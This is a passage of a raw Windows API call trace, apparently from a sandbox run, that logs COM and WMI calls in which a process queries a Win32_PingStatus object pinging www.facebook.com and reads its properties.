Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572eb80 | out: ppvObject=0x572eb80*=0x353660) returned 0x0 [0141.899] IUnknown:Release (This=0x353660) returned 0x2 [0141.899] WbemLocator:IUnknown:Release (This=0x5c619e8) returned 0x0 [0141.899] SysStringLen (param_1=0x0) returned 0x0 [0141.899] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572f008 | out: puCount=0x572f008*=0x2) returned 0x0 [0141.899] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f004*=0x0, pszText=0x0 | out: puBuffLength=0x572f004*=0xf, pszText=0x0) returned 0x0 [0141.899] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f004*=0xf, pszText="00000000000000" | out: puBuffLength=0x572f004*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.899] CoGetContextToken (in: pToken=0x572ee5c | out: pToken=0x572ee5c) returned 0x0 [0141.899] IEnumWbemClassObject:Clone (in: This=0x353660, ppEnum=0x572f014 | out: ppEnum=0x572f014*=0x353728) returned 0x0 [0141.947] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eed0 | out: ppvObject=0x572eed0*=0x35372c) returned 0x0 [0141.947] IClientSecurity:QueryBlanket (in: This=0x35372c, pProxy=0x353728, pAuthnSvc=0x572ef20, pAuthzSvc=0x572ef1c, pServerPrincName=0x572ef14, pAuthnLevel=0x572ef18, pImpLevel=0x572ef08, pAuthInfo=0x572ef0c, pCapabilites=0x572ef10 | out: pAuthnSvc=0x572ef20*=0xa, pAuthzSvc=0x572ef1c*=0x0, pServerPrincName=0x572ef14, pAuthnLevel=0x572ef18*=0x6, pImpLevel=0x572ef08*=0x2, pAuthInfo=0x572ef0c, pCapabilites=0x572ef10*=0x1) returned 0x0 [0141.947] IUnknown:Release (This=0x35372c) returned 0x1 [0141.947] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eec4 | out: ppvObject=0x572eec4*=0x3b3b94) returned 0x0 [0141.947] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eeb0 | out: ppvObject=0x572eeb0*=0x35372c) returned 0x0 [0141.947] IClientSecurity:SetBlanket (This=0x35372c, pProxy=0x353728, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0142.000] IUnknown:Release (This=0x35372c) returned 0x2 [0142.000] WbemLocator:IUnknown:Release (This=0x3b3b94) returned 0x1 [0142.000] CoTaskMemFree (pv=0x5c78d78) [0142.000] IUnknown:AddRef (This=0x353728) returned 0x2 [0142.001] CoGetContextToken (in: pToken=0x572e3e0 | out: pToken=0x572e3e0) returned 0x0 [0142.001] CoGetContextToken (in: pToken=0x572e7f4 | out: pToken=0x572e7f4) returned 0x0 [0142.001] IUnknown:QueryInterface (in: This=0x353728, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e78c | out: ppvObject=0x572e78c*=0x3b3b7c) returned 0x0 [0142.001] WbemLocator:IRpcOptions:Query (in: This=0x3b3b7c, pPrx=0x5c59498, dwProperty=2, pdwValue=0x572e880 | out: pdwValue=0x572e880) returned 0x80004002 [0142.001] WbemLocator:IUnknown:Release (This=0x3b3b7c) returned 0x2 [0142.001] CoGetContextToken (in: pToken=0x572edc4 | out: pToken=0x572edc4) returned 0x0 [0142.001] CoGetContextToken (in: pToken=0x572ed24 | out: pToken=0x572ed24) returned 0x0 [0142.001] IUnknown:QueryInterface (in: This=0x353728, riid=0x572edf4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572ecc0 | out: ppvObject=0x572ecc0*=0x353728) returned 0x0 [0142.001] IUnknown:Release (This=0x353728) returned 0x2 [0142.001] SysStringLen (param_1=0x0) returned 0x0 [0142.002] IEnumWbemClassObject:Reset (This=0x353728) returned 0x0 [0142.077] CoTaskMemAlloc (cb=0x4) returned 0x5c58828 [0142.077] IEnumWbemClassObject:Next (in: This=0x353728, lTimeout=-1, uCount=0x1, apObjects=0x5c58828, puReturned=0x22eb648 | out: apObjects=0x5c58828*=0x5c8ed30, puReturned=0x22eb648*=0x1) returned 0x0 [0142.233] IUnknown:QueryInterface (in: This=0x5c8ed30, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e66c | out: ppvObject=0x572e66c*=0x5c8ed30) returned 0x0 [0142.233] IUnknown:QueryInterface (in: This=0x5c8ed30, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e620 | out: ppvObject=0x572e620*=0x0) returned 0x80004002 [0142.233] IUnknown:QueryInterface (in: This=0x5c8ed30, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e448 | out: ppvObject=0x572e448*=0x0) returned 0x80004002 [0142.233] IUnknown:AddRef (This=0x5c8ed30) returned 0x3 [0142.233] IUnknown:QueryInterface (in: This=0x5c8ed30, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572df7c | out: ppvObject=0x572df7c*=0x0) returned 0x80004002 [0142.233] IUnknown:QueryInterface (in: This=0x5c8ed30, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572df2c | out: ppvObject=0x572df2c*=0x0) returned 0x80004002 [0142.233] IUnknown:QueryInterface (in: This=0x5c8ed30, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572df38 | out: ppvObject=0x572df38*=0x5c8ed34) returned 0x0 [0142.233] IMarshal:GetUnmarshalClass (in: This=0x5c8ed34, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x572df40 | out: pCid=0x572df40*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0142.233] IUnknown:Release (This=0x5c8ed34) returned 0x3 [0142.233] CoGetContextToken (in: pToken=0x572df98 | out: pToken=0x572df98) returned 0x0 [0142.234] CoGetContextToken (in: pToken=0x572e3ac | out: pToken=0x572e3ac) returned 0x0 [0142.234] IUnknown:QueryInterface (in: This=0x5c8ed30, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e42c | out: ppvObject=0x572e42c*=0x0) returned 0x80004002 [0142.234] IUnknown:Release (This=0x5c8ed30) returned 0x2 [0142.234] CoGetContextToken (in: pToken=0x572e994 | out: pToken=0x572e994) returned 0x0 [0142.234] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0142.234] IUnknown:QueryInterface (in: This=0x5c8ed30, riid=0x572e9c4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x572e9c0 | out: ppvObject=0x572e9c0*=0x5c8ed30) returned 0x0 [0142.234] IUnknown:AddRef (This=0x5c8ed30) returned 0x4 [0142.234] IUnknown:Release (This=0x5c8ed30) returned 0x3 [0142.234] IUnknown:Release (This=0x5c8ed30) returned 0x2 [0142.234] CoTaskMemFree (pv=0x5c58828) [0142.234] CoGetContextToken (in: pToken=0x572ed04 | out: pToken=0x572ed04) returned 0x0 [0142.234] IUnknown:AddRef (This=0x5c8ed30) returned 0x3 [0142.234] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572f004*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572f084*=0, plFlavor=0x572f080*=0 | out: pVal=0x572f004*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x572f084*=3, plFlavor=0x572f080*=64) returned 0x0 [0142.235] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572efe8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572f06c*=0, plFlavor=0x572f068*=0 | out: pVal=0x572efe8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x572f06c*=8, plFlavor=0x572f068*=64) returned 0x0 [0142.235] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.235] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.235] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x574 [0142.235] SetEvent (hEvent=0x3f4) returned 1 [0142.236] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572efc0*=0x574, lpdwindex=0x572ede4 | out: lpdwindex=0x572ede4) returned 0x0 [0142.239] CoGetContextToken (in: pToken=0x572ee94 | out: pToken=0x572ee94) returned 0x0 [0142.239] CoGetContextToken (in: pToken=0x572edf4 | out: pToken=0x572edf4) returned 0x0 [0142.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bba8, riid=0x572eec4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572eec0 | out: ppvObject=0x572eec0*=0x37bba8) returned 0x0 [0142.239] WbemDefPath:IUnknown:AddRef (This=0x37bba8) returned 0x3 [0142.239] WbemDefPath:IUnknown:Release (This=0x37bba8) returned 0x2 [0142.239] WbemDefPath:IWbemPath:SetText (This=0x37bba8, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0142.239] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572f040 | out: puCount=0x572f040*=0x2) returned 0x0 [0142.239] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f03c*=0x0, pszText=0x0 | out: puBuffLength=0x572f03c*=0xf, pszText=0x0) returned 0x0 [0142.239] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f03c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572f03c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.240] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0142.240] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0142.240] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.240] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="Address", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec018*=0, plFlavor=0x22ec01c*=0 | out: pVal=0x572efa4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22ec018*=8, plFlavor=0x22ec01c*=0) returned 0x0 [0142.240] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.240] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.240] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="Address", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec018*=8, plFlavor=0x22ec01c*=0 | out: pVal=0x572efac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22ec018*=8, plFlavor=0x22ec01c*=0) returned 0x0 [0142.240] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.240] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.240] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0142.240] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0142.240] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.241] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec0dc*=0, plFlavor=0x22ec0e0*=0 | out: pVal=0x572efa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec0dc*=19, plFlavor=0x22ec0e0*=0) returned 0x0 [0142.241] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec0dc*=19, plFlavor=0x22ec0e0*=0 | out: pVal=0x572efac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec0dc*=19, plFlavor=0x22ec0e0*=0) returned 0x0 [0142.241] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0142.241] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0142.241] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.241] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="StatusCode", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec170*=0, plFlavor=0x22ec174*=0 | out: pVal=0x572efa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec170*=19, plFlavor=0x22ec174*=0) returned 0x0 [0142.241] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="StatusCode", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec170*=19, plFlavor=0x22ec174*=0 | out: pVal=0x572efac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec170*=19, plFlavor=0x22ec174*=0) returned 0x0 [0142.242] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0142.242] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0142.242] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.242] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec66c*=0, plFlavor=0x22ec670*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22ec66c*=8, plFlavor=0x22ec670*=64) returned 0x0 [0142.242] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.242] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.242] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec66c*=8, plFlavor=0x22ec670*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22ec66c*=8, plFlavor=0x22ec670*=64) returned 0x0 [0142.242] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.242] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.243] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0142.243] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0142.243] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.243] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec708*=0, plFlavor=0x22ec70c*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ec708*=8, plFlavor=0x22ec70c*=64) returned 0x0 [0142.243] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.243] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.243] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec708*=8, plFlavor=0x22ec70c*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ec708*=8, plFlavor=0x22ec70c*=64) returned 0x0 [0142.243] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.243] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.243] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0142.243] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0142.243] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.243] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec864*=0, plFlavor=0x22ec868*=0 | out: pVal=0x572ecf0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e78*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58908, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ec864*=8200, plFlavor=0x22ec868*=64) returned 0x0 [0142.244] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ec864*=8200, plFlavor=0x22ec868*=64 | out: pVal=0x572ecf8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58908, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ec864*=8200, plFlavor=0x22ec868*=64) returned 0x0 [0142.244] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0142.244] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0142.244] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.244] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ecacc*=0, plFlavor=0x22ecad0*=0 | out: pVal=0x572ecf0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ecacc*=8, plFlavor=0x22ecad0*=64) returned 0x0 [0142.244] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.244] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.244] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ecacc*=8, plFlavor=0x22ecad0*=64 | out: pVal=0x572ecf8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ecacc*=8, plFlavor=0x22ecad0*=64) returned 0x0 [0142.244] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.244] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.245] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ecf4 | out: puCount=0x572ecf4*=0x2) returned 0x0 [0142.245] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0x0, pszText=0x0 | out: puBuffLength=0x572ecf0*=0xf, pszText=0x0) returned 0x0 [0142.245] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ecf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ecf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.245] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572ecf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ecbf4*=0, plFlavor=0x22ecbf8*=0 | out: pVal=0x572ecf0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e78*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58908, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ecbf4*=8200, plFlavor=0x22ecbf8*=64) returned 0x0 [0142.245] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572ecf8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ecbf4*=8200, plFlavor=0x22ecbf8*=64 | out: pVal=0x572ecf8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58908, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ecbf4*=8200, plFlavor=0x22ecbf8*=64) returned 0x0 [0142.246] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0142.246] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0x0, pszText=0x0 | out: puBuffLength=0x572e91c*=0xf, pszText=0x0) returned 0x0 [0142.246] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e91c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.246] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0142.247] 